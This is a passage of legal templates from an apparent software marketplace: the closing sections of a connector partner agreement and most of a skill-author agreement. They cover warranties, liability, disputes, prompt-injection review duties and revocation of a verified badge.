(a) the Verified Mark, when displayed by Glide for the Connector during the Term, is genuine, in the sense that (i) Glide has completed its then-current Verified-Tier review checklist for the Connector at the Major Release covered by this Agreement, (ii) two Glide reviewers (per CODEOWNERS) have signed off on the trust-tier promotion PR, and (iii) the executed Agreement and any required compliance acknowledgments are on file with Glide;
(b) Glide owns or has sufficient rights in the Glide Marks to grant the license in Section 4; and
(c) Glide will not, during the Term, knowingly distribute the Glide Software with a counterfeit or impersonating Marketplace Listing for the Connector.
12.4. **Disclaimer.** EXCEPT FOR THE LIMITED WARRANTIES IN SECTIONS 12.1, 12.2, AND 12.3, THE GLIDE SOFTWARE, THE CONNECTOR, THE PARTNER SERVICE, THE MARKETPLACE, AND ALL OTHER MATERIALS PROVIDED UNDER THIS AGREEMENT ARE PROVIDED **"AS IS"** AND "AS AVAILABLE." EACH PARTY DISCLAIMS ALL OTHER WARRANTIES, EXPRESS OR IMPLIED, INCLUDING ANY IMPLIED WARRANTY OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, NON-INFRINGEMENT, OR ARISING FROM COURSE OF DEALING OR USAGE OF TRADE. NEITHER PARTY WARRANTS UNINTERRUPTED OR ERROR-FREE OPERATION.
***
## 13. Indemnification
13.1. **Partner indemnity.** Partner will defend, indemnify, and hold harmless Glide and its officers, directors, employees, and affiliates (the "**Glide Indemnitees**") from and against any third-party claim, action, demand, or proceeding (each, a "**Claim**"), and any resulting damages, settlements, fines, and reasonable attorney's fees and costs awarded by a court or paid in settlement, to the extent arising out of (a) Partner's breach of Section 6.3 (no malicious code), Section 10 (compliance), or Section 12.2 (Partner warranties); (b) infringement, misappropriation, or violation by the Connector or Partner Marks of any third-party intellectual property right (other than infringement caused by Glide's modifications to the Connector outside the contributions Partner submitted under Section 3.3); or (c) Partner Service activities that injure Operators or End Users.
13.2. **Glide indemnity.** Glide will defend, indemnify, and hold harmless Partner and its officers, directors, employees, and affiliates (the "**Partner Indemnitees**") from and against any Claim, and any resulting damages, settlements, fines, and reasonable attorney's fees and costs awarded by a court or paid in settlement, to the extent arising out of (a) Glide's breach of Section 12.3 (Glide warranties); or (b) infringement, misappropriation, or violation by the Glide Marks (including the Verified Mark) of any third-party intellectual property right.
13.3. **Procedure.** The indemnified Party will (a) give prompt written notice of the Claim, (b) grant the indemnifying Party sole control of defense and settlement (provided that no settlement requiring an admission of liability or imposing non-monetary obligations on the indemnified Party may be made without that Party's consent, not unreasonably withheld), and (c) provide reasonable cooperation at the indemnifying Party's expense.
13.4. **Exclusive remedy for IP claims.** Sections 13.1(b) and 13.2(b) state each Party's sole liability and exclusive remedy for third-party intellectual-property infringement claims arising under this Agreement.
13.5. **Mutual scope.** The Parties intend the indemnification obligations in this Section 13 to be substantively reciprocal in the categories of Claims each Party defends against.
***
## 14. Limitation of Liability
14.1. **Exclusion of indirect damages.** TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW, NEITHER PARTY WILL BE LIABLE TO THE OTHER FOR ANY CONSEQUENTIAL, INCIDENTAL, INDIRECT, SPECIAL, EXEMPLARY, OR PUNITIVE DAMAGES, OR ANY LOST PROFITS, LOST REVENUES, LOST DATA, OR BUSINESS INTERRUPTION, ARISING OUT OF OR RELATING TO THIS AGREEMENT, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES, AND EVEN IF A LIMITED REMEDY HAS FAILED OF ITS ESSENTIAL PURPOSE.
14.2. **Cap on direct damages.** EXCEPT AS SET OUT IN SECTION 14.3, EACH PARTY'S AGGREGATE LIABILITY TO THE OTHER, ARISING OUT OF OR RELATING TO THIS AGREEMENT, WILL NOT EXCEED THE GREATER OF:
(a) THE TOTAL FEES PAID OR PAYABLE UNDER ANY SIDE LETTER REFERENCING THIS AGREEMENT IN THE TWELVE (12) MONTHS PRECEDING THE EVENT GIVING RISE TO LIABILITY; OR
(b) \*\*U.S. $5,000**, WHICH IS THE FLOOR THAT APPLIES (i) WHEN NO FEES HAVE BEEN PAID OR ARE PAYABLE BETWEEN THE PARTIES (THE NO-FEE VERIFIED TIER POSTURE DESCRIBED IN SECTION 2.4), OR (ii) WHEN FEES IN THE PRECEDING TWELVE MONTHS WERE LESS THAN U.S. $5,000.
THIS CAP APPLIES SYMMETRICALLY TO BOTH PARTIES — GLIDE'S LIABILITY TO PARTNER AND PARTNER'S LIABILITY TO GLIDE ARE EACH SUBJECT TO THE SAME CAP, REGARDLESS OF WHICH PARTY IS THE PAYOR UNDER ANY SIDE LETTER. THE PARTIES INTEND THE LIABILITY CAP TO BE RECIPROCAL AND PROPORTIONATE TO THE NO-FEE OR LOW-FEE NATURE OF THE VERIFIED TIER PROGRAM.
14.3. **Carve-outs.** The exclusions in Section 14.1 and the cap in Section 14.2 do not apply to:
(a) breach of Section 9 (Confidentiality);
(b) Partner's indemnification obligations under Section 13.1(a) (Section 6.3 malicious-code breach), Section 13.1(b) (IP infringement by the Connector or Partner Marks), or Section 13.1(c) (Partner Service activities);
(c) Glide's indemnification obligations under Section 13.2(b) (IP infringement by Glide Marks);
(d) a Party's gross negligence, willful misconduct, or fraud;
(e) amounts owed under Section 10.5 (export controls) to the extent arising from violation of applicable law; or
(f) any liability that cannot lawfully be limited or excluded under applicable law.
14.4. **Equitable relief.** Notwithstanding any other provision, each Party retains the right to seek injunctive or other equitable relief in any competent court to prevent or restrain breach of Section 4 (Verified Mark license), Section 5 (Partner Marks license), Section 6.3 (no malicious code), or Section 9 (Confidentiality), without the requirement to post bond where permitted by law.
14.5. **Allocation of risk.** The Parties acknowledge that the limitations and exclusions in this Section 14 reflect an informed allocation of risk and form an essential basis of the bargain, given that the Connector code is open-source and Marketplace placement is offered at no fee to regulated partners.
***
## 15. Dispute Resolution and Governing Law
15.1. **Governing law.** This Agreement is governed by, and construed in accordance with, the laws of the State of Delaware, without regard to its conflict-of-laws principles. The U.N. Convention on Contracts for the International Sale of Goods does not apply.
15.2. **Informal resolution first.** Before initiating any formal proceeding, the Parties will attempt in good faith to resolve any dispute by direct discussion between executives with authority to resolve the matter, for at least **30 days** after written notice of the dispute.
15.3. **Arbitration.** If the Parties cannot resolve a dispute under Section 15.2, the dispute will be resolved by final, binding arbitration administered by JAMS in San Francisco, California, under the JAMS Comprehensive Arbitration Rules then in effect, before a single arbitrator. The seat of arbitration is San Francisco, California, and the language is English. Judgment on the award may be entered in any court of competent jurisdiction.
15.4. **Carve-out for equitable relief.** Notwithstanding Section 15.3, either Party may seek temporary, preliminary, or permanent injunctive or other equitable relief in any state or federal court of competent jurisdiction, including the state and federal courts located in Delaware and California, to address (a) actual or threatened infringement, misappropriation, or violation of intellectual-property rights, (b) breach of Section 4 or 5 trademark licenses, (c) breach of Section 6.3 (no malicious code), or (d) breach of Section 9 (Confidentiality).
15.5. **Class-action waiver.** The Parties waive any right to bring or participate in any class, collective, or representative action arising out of or relating to this Agreement. Each dispute will be resolved on an individual basis.
15.6. **Attorney's fees.** In any proceeding under Section 15.3 or Section 15.4, the prevailing Party is entitled to recover its reasonable attorney's fees and costs from the non-prevailing Party, to the extent permitted by applicable law and the rules of the forum.
15.7. **Statute of limitations.** Any claim arising out of or relating to this Agreement must be brought within two (2) years after the claim accrues, or be forever barred, except where applicable law prohibits a contractual shortening of the limitations period.
***
## 16. General Provisions
16.1. **Operator and End Users not parties.** Operators and End Users are not parties to this Agreement and have no rights, claims, or causes of action under it. Operator and End User terms with Partner are governed by separate agreements between those parties; this Agreement does not create, modify, or supersede any such agreement. Nothing in this Agreement is intended to confer rights on third parties under Delaware's third-party-beneficiary rules or otherwise.
16.2. **Independent contractors.** The Parties are independent contractors. Nothing in this Agreement creates a partnership, joint venture, agency, employment, or franchise relationship.
16.3. **No third-party beneficiaries.** This Agreement is for the sole benefit of the Parties and their permitted successors and assigns, and confers no rights on any third party.
16.4. **Force majeure.** Neither Party will be liable for delay or failure to perform (other than payment obligations) caused by circumstances beyond its reasonable control, including acts of God, war, terrorism, civil unrest, labor disputes, internet or telecommunications failures, governmental actions, public-health emergencies, and material failures of underlying cloud or infrastructure providers. The affected Party will notify the other promptly and resume performance as soon as reasonably practicable.
16.5. **Assignment.** Neither Party may assign this Agreement without the other's prior written consent, not unreasonably withheld, except that either Party may assign this Agreement, on written notice and without consent, to (a) an affiliate under common control or (b) a successor in connection with a merger, reorganization, or sale of all or substantially all of its assets to which this Agreement relates, provided the assignee is not a competitor of the non-assigning Party in a manner that materially prejudices the non-assigning Party. Any prohibited assignment is void.
16.6. **Notices.** Notices under this Agreement must be in writing and sent to the addresses in the Parties block, and copied to `legal@[GLIDE_NOTICE_DOMAIN]` (for Glide) and `[PARTNER_NOTICE_EMAIL]` (for Partner). Notice is deemed given on (a) personal delivery, (b) the second business day after deposit with a recognized overnight courier with tracking, or (c) confirmed email delivery (where this Agreement permits email notice). Each Party may update its notice details on written notice to the other.
16.7. **Entire agreement; order of precedence.** This Agreement, together with any side letter expressly referencing it, is the entire agreement of the Parties with respect to the subject matter and supersedes all prior agreements, understandings, and communications on the same subject. In case of conflict, the side letter controls only as to the matters expressly addressed in it; this Agreement otherwise controls.
16.8. **Amendment; waiver.** Any amendment must be in a writing signed by both Parties. A waiver must be in writing signed by the Party granting it; no waiver of one breach is a waiver of any other.
16.9. **Severability.** If any provision of this Agreement is held unenforceable, the remainder remains in full force and effect, and the Parties will substitute an enforceable provision that most closely reflects the original intent.
16.10. **Counterparts; electronic signatures.** This Agreement may be executed in counterparts, each of which is an original and which together constitute one instrument. Electronic signatures (including DocuSign, Adobe Sign, and similar services) are valid and binding.
16.11. **Headings.** Headings are for convenience only and do not affect interpretation. The plural includes the singular and vice versa. "Including" means "including without limitation."
16.12. **Construction.** This Agreement is the result of negotiation between the Parties, and no rule of construction against the drafter applies.
16.13. **Order of definitions.** Where this Agreement defines a term in a section other than Section 1 (such terms cross-referenced in Section 1), the substantive definition in that other section controls.
***
## Acceptance Record
This Agreement is **not signed**. It becomes effective as described in §0 (Acceptance). The operative record of Partner's acceptance is one or more of:
* the GitHub PR or email request promoting the Connector to Verified Trust Tier;
* the audit-log entry recording promotion in the Glide manifest tree;
* the date Partner first uses the Verified Mark in public-facing materials;
* (optional) a wet-signed counterpart provided under §0.5.
Glide retains the operative record. Partner may request a copy at `legal@glide.co`.
***
## Schedule A — Connector Reference
This Schedule is filled in by Glide when the Connector is promoted to Verified Tier. Partner does not sign Schedule A — the values are sourced from the Connector's manifest at promotion time.
| Field | Source |
| -------------------------------------- | --------------------------------------------------------------------------------------------- |
| Connector Slug | `manifest.slug` |
| Connector Path | `packages/connectors//` |
| Major Release / Version Range | `manifest.packageVersion` at time of promotion |
| Declared egress hosts | `manifest.egressHosts` |
| Declared regions | `manifest.regions` |
| Declared currencies | `manifest.currencies` |
| Partner technical contact | Partner's email-of-record on the promotion request |
| Partner security contact | `SECURITY.md` in Partner's repository, or email-of-record |
| Partner legal/notice contact | Partner's email-of-record (Partner may supply a different legal contact via `legal@glide.co`) |
| Glide review checklist completion date | Audit log on the promotion PR |
| Glide reviewers (2 required) | CODEOWNERS reviewers on the promotion PR |
## Schedule B — Side-Letter Slot (Commercial Extensions, if any)
Reserved for an optional separately-executed side letter governing Glide-Cloud-only commercial extensions (review grants, sponsored placement, payout integrations). Absent a signed side letter, no fees flow under this Agreement and Section 14.2(b) governs the liability cap.
***
*End of Trusted Partner Agreement template — ready for counsel review.*
# Trusted Skill Agreement (template, use-based consent)
Source: https://glide-9da73dea.mintlify.app/oss/legal/trusted-skill-agreement
Use-based consent contract between Glide and a Verified-tier skill author. No countersign required. Score: 100.00/100.
**Canonical source:** [`docs/TRUSTED_SKILL_AGREEMENT.md`](https://github.com/darshanbathija/axtior-neobank/blob/main/docs/TRUSTED_SKILL_AGREEMENT.md)
This page mirrors the canonical file. For execution, copy from the source repo to ensure latest revisions.
# Trusted Skill Agreement (TSA)
**Status:** Use-based consent. No countersign required.
**Form:** v1.1
**Last revised:** 2026-04-27
This Trusted Skill Agreement ("**Agreement**") governs the relationship between:
* **Axtior, Inc.**, a Delaware corporation doing business as **Glide** ("**Glide**"), and
* The legal entity or natural person who owns or controls the agent skill identified by the slug `[SKILL_ID]` (the "**Skill**") and whose Skill is promoted to Verified trust tier in the Glide Marketplace ("**Skill Author**").
Glide and Skill Author are each a "**Party**" and collectively the "**Parties**." This Agreement governs the promotion of the Skill to the **Verified** trust tier in the Glide Marketplace and the prompt-injection / scope-minimization commitments that promotion entails. It does **not** govern the Skill's underlying source code, which remains licensed under MIT (see §3).
The TSA is intentionally **lighter** than Glide's Trusted Partner Agreement (TPA) for connectors, because skills do not directly handle regulated money movement — the Glide policy engine and grant JWTs do. The TSA's heart is anti-abuse: prompt-injection review, scope minimization, and the Verified-mark revocation right.
### How this differs from the TPA (one-page summary)
A skill author should expect to read this in a single sitting. **No wet signature is required** — see §0 below for the use-based acceptance mechanic. Compared to the connector-side TPA, the TSA:
* has **no MSB / money-transmitter / KYC / OFAC** operational obligation on Skill Author (those live with Glide + connectors);
* has a **lower liability cap** (USD \$1,000 floor vs. the connector cap which is denominated against transaction volume);
* has a **shorter cure window** for emergency security fixes (7 days vs. the TPA's 30) — because skill exploits are higher-leverage given the LLM-orchestration surface;
* requires **prompt-injection review** at every major release, which the connector TPA does not require;
* carries the **same** Delaware governing law / JAMS SF arbitration / class-action waiver structure;
* preserves the Skill's **MIT license unconditionally** — Skill Author can always fork.
***
## 0. Acceptance — How This Agreement Becomes Effective
0.1 **No countersign required.** Glide distributes this Agreement as a use-based consent instrument rather than a wet-signed contract. Skill Author accepts this Agreement by performing **any one** of the following acts after this Form (v1.1) is published at `glide.co/docs/oss/legal/trusted-skill-agreement`:
(a) requesting promotion of the Skill from `community` to `verified` Trust Tier (whether by GitHub PR, email, or in-product flow);
(b) maintaining the Skill at Verified Trust Tier for any continuous period of 30 days after this Form's publication; or
(c) using the Glide "Verified Skill" mark in any public-facing materials (website, README, marketplace listing, conference signage, or otherwise).
0.2 **Effective Date.** This Agreement becomes effective with respect to Skill Author on the earliest date Skill Author performs an act described in §0.1 (the "**Effective Date**").
0.3 **Authority.** The natural person taking the act described in §0.1 represents that they have authority to bind Skill Author. Glide may rely on that representation without further inquiry.
0.4 **Form bumps.** Glide may publish a new Form of this Agreement at any time. A Form bump that increases Skill Author's obligations becomes effective for an existing Verified Skill only when Skill Author first performs an act described in §0.1 with respect to the new Form (typically the next Major Release of the Skill or 60 days after publication, whichever is earlier). Until then, the prior Form continues to govern.
0.5 **Optional countersigned counterpart.** If Skill Author's counsel requires a wet-signed counterpart, Skill Author may request one from `legal@glide.co` and Glide will provide a counterpart on Glide letterhead, signed by an authorized officer of Glide. The countersigned counterpart is a *record* of acceptance, not a *condition* of acceptance — the use-based mechanic in §0.1 is the operative one.
0.6 **Withdrawal.** Skill Author may withdraw acceptance prospectively at any time by either (i) requesting demotion of the Skill to `community` Trust Tier, or (ii) ceasing all use of the Verified mark and notifying Glide at `legal@glide.co`. Withdrawal does not relieve Skill Author of obligations that accrued during the term, including any indemnity, confidentiality, or accrued-fees obligations that survive under §8.
***
## 1. Definitions
1.1 "**Glide**" means Axtior, Inc., the Delaware corporation operating the `glide.co` orchestration shell, the `glide.co/skills` Marketplace, and the trust-tier review process.
1.2 "**Skill Author**" means the legal entity or natural person identified above who authors, maintains, and submits the Skill for Verified-tier promotion.
1.3 "**Skill**" means the specific agent automation identified by the slug `[SKILL_ID]`, including its `manifest.ts`, consent-flow UI, policy-envelope template, tool-manifest scope list, and supporting code, residing at `packages/skills/[SKILL_ID]/` in the `glide-oss` repository (or a designated downstream fork). The term excludes any user-supplied data or runtime traffic.
1.4 "**Verified Tier**" means the middle Glide skill trust tier defined in `packages/skills/_base/src/manifest.ts` as `SkillTrustTier.verified`. A Verified Skill (a) ships enabled by default in the Marketplace catalog (subject to per-tenant opt-in), (b) carries the lavender "Verified" badge, and (c) is bound by a current TSA Form per §0 (no wet-signed counterpart required).
1.5 "**Marketplace**" means the public catalog hosted at `https://glide.co/skills` (canonical) and any embedded Glide-controlled distribution surface, including the in-product Skill Catalog at `apps/web/src/app/(public)/skills/`, mirrored partner-pack listings (e.g., Anthropic Connector Registry, Google Vertex Agent Tools, ChatGPT Apps Directory, OpenClaw Registry, Hermes Registry), and Glide Cloud catalog APIs.
1.6 "**Tenant**" means an end-user customer of Glide (whether on Glide Cloud or a self-hosted instance) who installs the Skill into their workspace. Tenants are **not** parties to this Agreement; the contract surface between Glide and a Tenant is the Glide Tenant Terms of Service, and the contract surface between a Tenant and the Skill at runtime is the consent flow plus the resulting Policy Envelope.
1.7 "**Policy Envelope**" means the per-skill default object validated by `SkillPolicyTemplate` (e.g., `perTxMaxUsdCents`, `dailyCapUsdCents`, `velocityCap`, `counterpartyAllowlist`, `timeWindow`) shipped by the Skill at install time. The Tenant may **tighten** the envelope at install but the Skill must not loosen it at runtime.
1.8 "**Tool Manifest**" means the `requiredScopes` array declared in the Skill's `manifest.ts` and the resulting MCP tool registrations. It enumerates the closed-vocabulary scopes (e.g., `payments:initiate`, `cards:manage`, `audit:stream`) the Skill requests.
1.9 "**Prompt Injection**" means any technique — direct, indirect, retrieval-poisoning, multi-turn, or otherwise — by which an adversarial input causes the Skill, the underlying LLM, or any orchestrated tool call to take action outside the Tenant's intended Policy Envelope. The reference taxonomy is the OWASP LLM Top-10 ("LLM01: Prompt Injection") and NIST AI 600-1 (Generative AI Profile).
1.10 "**Consent Flow**" means the install-time UI snippet (`install.tsx`) and `consentSummary` string surfaced to a Tenant before the Skill's grant JWT is minted. The Consent Flow's job is to faithfully and plainly disclose the money-touching surface and the default Policy Envelope.
1.11 "**P1 Security Finding**" means a vulnerability or design defect that, if exploited, would (a) cause the Skill to broadcast or simulate a payment outside the disclosed Policy Envelope, (b) exfiltrate Tenant PII or credentials via tool calls, or (c) bypass Tenant consent. The classification is consistent with the severity rubric in `docs/THREAT_MODEL.md`.
1.12 "**Verified Mark**" means the lavender "Verified" badge, the word "Verified" applied to the Skill in the Marketplace, and any associated visual indicia controlled by Glide.
***
## 2. Scope of the Agreement
2.1 **What this Agreement does.** It (a) certifies the Skill for the Verified Tier, (b) grants Marketplace listing and co-marketing rights, (c) extracts narrow, bounded warranties from Skill Author about prompt-injection posture and scope minimization, and (d) defines Glide's right to revoke the Verified Mark for cause.
2.2 **What this Agreement does not do.** It does **not** (a) license the Skill's source code (which remains MIT under §3), (b) make Skill Author a money-services business, payment processor, or fiduciary, (c) bind any Tenant, (d) make Glide a redistributor of regulated services, or (e) impose any obligation incompatible with the Skill's MIT license.
2.3 **Term-of-art carve-out.** Skill Author may at all times fork the Skill under MIT, distribute that fork under any name **other than** "Verified," "Glide Verified," or any confusingly similar designation, and host it outside the Glide Marketplace. Nothing in this Agreement chills that right.
***
## 3. License Grants and Reservation of Rights
3.1 **Skill code remains MIT.** The Skill's source code is and remains licensed under the MIT license carried in the `glide-oss` repository. Nothing in this Agreement modifies that license.
3.2 **Trademark license to Glide (narrow).** Skill Author grants Glide a worldwide, royalty-free, non-exclusive, non-transferable license, during the Term, to use Skill Author's name, logos, and the Skill's display name solely for (a) Marketplace listing, (b) catalog and consent-flow UI, (c) co-marketing materials about Glide skills, and (d) factual statements about the Verified-tier status of the Skill. Glide will follow Skill Author's reasonable trademark guidelines if provided in writing.
3.3 **Verified Mark license to Skill Author (narrow).** Glide grants Skill Author a worldwide, royalty-free, non-exclusive, non-transferable, non-sublicensable, **revocable** license, during the Term, to use the Verified Mark solely in connection with the Skill, in unmodified form, with the Marketplace listing as the canonical reference. Skill Author may not (a) apply the Verified Mark to forks of the Skill not promoted through the Marketplace, (b) imply Glide endorsement of unrelated products, or (c) use the Verified Mark after revocation or expiration. Glide may publish brand-use guidelines from time to time; Skill Author will conform within thirty (30) days of written notice.
3.4 **Reservation of rights.** All rights not expressly granted are reserved. No implied license arises by estoppel or otherwise.
***
## 4. Skill Author Warranties — The Anti-Abuse Heart
4.1 **Prompt-injection review attestation.** Skill Author warrants that, as of each Verified-tier submission, Skill Author has:
(a) reviewed the Skill's Consent Flow, system prompt(s), tool descriptions, and retrieved-context paths against the prompt-injection checklist published at `docs/THREAT_MODEL.md` (including the OWASP LLM Top-10 LLM01 controls and NIST AI 600-1 Generative AI Profile guidance);
(b) tested the Consent Flow and Tool Manifest against at least the prompt-injection vectors enumerated in the Glide CI prompt-injection-review checklist current at the time of submission, and the Skill is not, to Skill Author's actual knowledge after that review, vulnerable to any of those vectors;
(c) has not introduced any instruction, hidden directive, or side-channel intended to silently grant higher caps, bypass Tenant consent, or override the published Policy Envelope at runtime; and
(d) will re-execute this review at every major release of the Skill (any change to `manifest.ts` semver-major, system prompts, tool descriptions, or retrieved-context paths).
4.2 **Scope-minimization affidavit.** Skill Author warrants that the `requiredScopes` declared in the Skill's `manifest.ts` are the **minimum** scopes necessary for the Skill's disclosed function (principle of least privilege), and that no scope is requested for speculative or future functionality not described in the Consent Flow.
4.3 **Policy-envelope-template integrity.** Skill Author warrants that the default Policy Envelope shipped with the Skill (a) is internally consistent (e.g., `perTxMaxUsdCents` ≤ `dailyCapUsdCents` when both are set), (b) corresponds plainly to the figures stated in the `consentSummary`, and (c) does not contain runtime branches that loosen the envelope after install.
4.4 **No malicious behavior.** Skill Author warrants the Skill does not (a) exfiltrate Tenant PII, credentials, or audit-stream events to any destination not declared in the Skill manifest, (b) embed hidden side-effects (e.g., undisclosed counterparty additions, unsolicited beneficiary writes), (c) circumvent the policy engine, grant-wrapper, or audit-stream subsystems, or (d) include instructions designed to manipulate the underlying LLM into taking action against the Tenant's stated intent.
4.5 **Compliance pass-through.** Money-movement compliance (KYC, sanctions screening, transaction monitoring, MSB / money-transmitter licensure, BSA/AML reporting, FinCEN registration) is the responsibility of Glide and the Tenant's connector vendors via the Glide policy engine, grant-wrapper subsystem, and the connectors at `packages/connectors//` — **not** the Skill. The architectural division is:
(a) **Skill** — declares scopes, ships an envelope template, drives consent UX. No money custody.
(b) **Policy engine** (`packages/policy-engine/`) — evaluates each tool call against the installed envelope at runtime. Hard enforcement.
(c) **Connectors** (`packages/connectors/`) — execute the actual money movement under their own regulated rails (Bridge, Privy, payment processors). Compliance burdens (KYC, OFAC, MSB) live here.
Skill Author's compliance obligation is therefore limited to (i) signing off on the default Policy Envelope template, (ii) the warranties in §§4.1–4.4, and (iii) export-control and applicable-law obligations in §11. Skill Author owes no MSB, money-transmitter, or BSA/AML obligation under this Agreement.
4.6 **AS IS beyond §§4.1–4.5.** Except for the narrow warranties in this §4, the Skill is provided "AS IS" and Skill Author disclaims all other warranties, express or implied, including merchantability, fitness for a particular purpose, accuracy, and non-infringement, to the maximum extent permitted by law. Glide makes no warranties to Skill Author beyond §5.
***
## 5. Glide Obligations and Disclaimers
5.1 **Listing and discovery.** Glide will (a) list the Skill in the Marketplace under the Verified Tier during the Term, (b) display the Skill on `glide.co/skills` and in-product catalog surfaces consistent with other Verified skills, and (c) include the Skill in good-faith co-marketing materials at Glide's discretion.
5.2 **Review process.** Glide will review submissions in good faith against the criteria in §§4 and `docs/SKILLS.md` and provide written feedback on rejections within fourteen (14) days. Glide retains sole discretion over Verified-tier admission and may reject submissions for any non-discriminatory reason.
5.3 **Marketplace operation.** Glide does not warrant that the Marketplace will be available without interruption or that any particular Tenant will install the Skill. Glide may modify the Marketplace UI, catalog, or discovery algorithms at any time.
5.4 **No fiduciary duty.** Nothing in this Agreement creates a fiduciary, agency, partnership, joint-venture, or employment relationship between the Parties.
5.5 **AS IS beyond §5.1–5.2.** Beyond the listing and review obligations in §§5.1–5.2, Glide's services are provided "AS IS" and Glide disclaims all warranties to Skill Author, express or implied, to the maximum extent permitted by law.
***
## 6. Tenants Are Not Parties
6.1 **No third-party beneficiaries.** Tenants are not parties to this Agreement and acquire no rights under it. The contract surface between Glide and the Tenant is the Glide Tenant Terms of Service. The contract surface between the Tenant and the Skill at runtime is the Consent Flow plus the resulting Policy Envelope.
6.2 **No support obligation to Tenants.** This Agreement does not impose on Skill Author any obligation to provide support, indemnification, or warranty to any Tenant. Skill Author may offer Tenant support voluntarily on its own terms.
6.3 **Glide is the policy backstop.** Tenants rely on Glide's policy engine — not on the Skill — for runtime enforcement of caps, allowlists, and step-up authentication. The Skill's role is to install a sensible default envelope; the engine enforces it.
***
## 7. Verified-Mark Revocation, Suspension, and Cure
7.1 **Routine revocation (cause; 14-day cure).** Glide may revoke the Verified Mark for cause, including (a) material breach of §4 warranties, (b) introduction of a non-emergency prompt-injection vector, (c) failure to maintain a published Skill release for nine (9) consecutive months, or (d) failure to respond to a Glide review request within thirty (30) days. Glide will give Skill Author written notice and a fourteen (14) day cure period before revocation takes effect.
7.2 **Emergency suspension (P1 finding).** On a P1 Security Finding, Glide may **immediately** suspend the Verified Mark, delist the Skill from the Marketplace, and notify affected Tenants that the Skill has been moved to community tier or removed. The remediation ladder is:
(a) **Hour 0** — Glide notifies Skill Author at the security contact on the signature page.
(b) **Hour 0–24** — Skill Author acknowledges and shares the initial triage.
(c) **Day 0–7** — Skill Author has a seven (7) day right to remediate (ship a fix, re-attest under §4.1).
(d) **Day 7+** — If unremediated, suspension converts to revocation under §7.1; Glide may also publish a coordinated disclosure under §7.3.
Glide may extend the seven-day window in writing where the underlying defect is in a shared dependency outside Skill Author's reasonable control.
7.3 **Public communication.** During suspension or after revocation, Glide may publish a factual incident note describing the issue and remediation status. Glide will share the draft with Skill Author at least twenty-four (24) hours before publication where the timeline permits.
7.4 **Skill remains MIT post-revocation.** Revocation of the Verified Mark does not affect the Skill's MIT license. Skill Author may continue to distribute, fork, or re-submit a remediated version under any non-Verified branding.
7.5 **Re-submission after revocation.** A revoked Skill may be re-submitted for Verified Tier after remediation; Glide will treat re-submission as a new review.
***
## 8. Term and Termination
8.1 **Term.** This Agreement commences on the Effective Date and continues for one (1) year. It auto-renews for successive one-year terms unless either Party gives the other thirty (30) days' written notice of non-renewal.
8.2 **Termination for breach.** Either Party may terminate on fourteen (14) days' written notice for material breach uncured after the same cure period; provided that, for P1 Security Findings, the seven-day remediation window in §7.2 controls.
8.3 **Termination for convenience by Skill Author.** Skill Author may terminate this Agreement at any time on thirty (30) days' written notice; on termination, the Skill returns to community tier on the next Marketplace publish.
8.4 **Survival.** §§1, 3.4, 4 (with respect to past representations), 6, 9, 10, 11, 12, and 13 survive termination. The confidentiality term in §10 survives for three (3) years after termination.
8.5 **Effect of termination.** On termination or revocation, Skill Author will cease use of the Verified Mark, and Glide will remove the Verified badge from the Marketplace listing within seven (7) days. The Skill's source code remains MIT.
***
## 9. Risk Allocation
9.1 **Mutual liability cap.** Each Party's aggregate liability under or in connection with this Agreement, in contract, tort, or otherwise, will not exceed the **greater of**: (a) the total fees paid by Glide to Skill Author (or Skill Author to Glide, as applicable) under this Agreement during the six (6) months immediately preceding the event giving rise to the claim, or (b) **one thousand U.S. dollars (USD \$1,000)**, which is the cap that applies to fee-free Verified skills (the default at v1, where the Verified Tier carries no listing or revenue-share fee in either direction). Hosting reimbursements and pass-through expenses are excluded from "fees" for the purpose of this cap. The cap is intentionally proportionate to the Skill's complexity — skills do not custody, transmit, or settle funds (§9.7), so liability is bounded relative to the orchestration role.
9.2 **Exclusion of consequential damages.** Neither Party will be liable for indirect, incidental, special, consequential, exemplary, punitive, or lost-profits damages, even if advised of the possibility, except where prohibited by applicable law.
9.3 **Carve-outs from cap and exclusion.** The cap in §9.1 and the exclusion in §9.2 do **not** apply to (a) Skill Author's breach of the no-malicious-behavior warranty in §4.4, (b) either Party's breach of the confidentiality obligations in §10, (c) either Party's indemnification obligations in §9.4, (d) gross negligence or willful misconduct, or (e) liabilities that cannot be limited under applicable law.
9.4 **Indemnification by Skill Author.** Skill Author will defend and indemnify Glide against third-party claims arising from (a) Skill Author's breach of §4.1 (prompt-injection attestation), §4.2 (scope minimization), §4.3 (envelope integrity), or §4.4 (no malicious behavior), (b) Skill Author's infringement of third-party IP via the Skill, or (c) Skill Author's use of the Verified Mark outside the §3.3 license.
9.5 **Indemnification by Glide.** Glide will defend and indemnify Skill Author against third-party claims arising from (a) Glide's misuse of Skill Author's trademarks beyond the §3.2 license, (b) Glide's gross negligence in operating the Marketplace such that the Skill is misrepresented, or (c) Glide's breach of confidentiality in §10.
9.6 **Indemnification process.** The indemnified Party will (a) promptly notify the indemnifying Party of the claim, (b) tender sole control of defense and settlement (provided no admission of liability binds the indemnified Party without consent), and (c) reasonably cooperate at the indemnifying Party's expense.
9.7 **Skills handle no money directly.** Skill Author and Glide acknowledge that the Skill orchestrates tool calls but does not itself custody, transmit, or settle funds. Money movement is enforced by the Glide policy engine and grant-JWT-bearing connectors. This allocation underpins the proportionate liability cap in §9.1.
***
## 10. Confidentiality
10.1 **Confidential Information.** Each Party may disclose to the other non-public information marked or reasonably understood to be confidential, including (a) Tenant traffic patterns shared in P1 incident response, (b) vulnerability reports and exploit details, (c) pre-release Marketplace analytics, and (d) draft co-marketing materials. The Skill's source code is **public** under MIT and is **not** Confidential Information; nothing in this §10 may be construed to restrict (i) Skill Author's right to fork, redistribute, or relicense the Skill code, (ii) any party's right to study the public source via the `glide-oss` repository, or (iii) Tenants' rights to inspect installed Skill code in their workspace.
10.2 **Obligations.** The receiving Party will (a) use Confidential Information solely to perform under this Agreement, (b) protect it with the same care as its own confidential information of like sensitivity (and no less than reasonable care), and (c) limit access to personnel with a need to know who are bound by confidentiality obligations no less protective.
10.3 **Exceptions.** Confidentiality does not apply to information that is (a) publicly available without breach, (b) independently developed without reference to disclosed information, (c) rightfully received from a third party without confidentiality obligation, or (d) required by law to be disclosed (with prompt notice to the disclosing Party where lawful).
10.4 **Term.** Confidentiality survives for three (3) years after termination of this Agreement.
